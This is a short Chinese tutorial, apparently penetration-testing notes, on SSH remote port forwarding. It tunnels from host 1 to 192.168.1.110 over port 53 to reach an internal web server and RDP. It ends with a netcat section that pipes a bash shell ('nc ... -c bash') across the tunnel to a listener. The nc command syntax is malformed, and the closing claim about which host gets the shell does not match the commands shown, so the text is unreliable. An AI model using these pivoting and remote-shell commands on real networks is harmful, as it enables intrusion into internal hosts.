当ssh的连接方向和应用连接的方向不一致时,这就称为ssh远程转发。
主机3是一台web server
应用请求是主机2到主机1
ssh请求是主机1到主机2
主机2开启ssh服务 service ssh start
主机1建立ssh远程连接
ssh -CfNg -R 7001:1.1.1.11:80 root@192.168.1.110 -p 53
ssh -CfNg -R 7002:1.1.1.11:3389 root@192.168.1.110 -p 53
虽然命令操作是在主机1上,但是执行的结果是在主机2上,在主机2可以看到7001 7002端口打开了
远程端口转发-g其实是失效的,主机2不能作为网关使用
然后在主机2上打开浏览器输入:127.0.0.1:7001就能访问,内网中的主机3web server
主机2 rdesktop 127.0.0.1:7002 访问主机3的远程桌面
实现nc shell
在主机3开启nc侦听3333端口 nc -nvlp 3333
主机1建立ssh远程连接ssh -CfNg -R 7003:1.1.1.11:3333 root@192.168.1.110 -p 53
主机2连接nc:nc 127.0.0.1:7003 -c bash
主机1就获得了主机2的shell了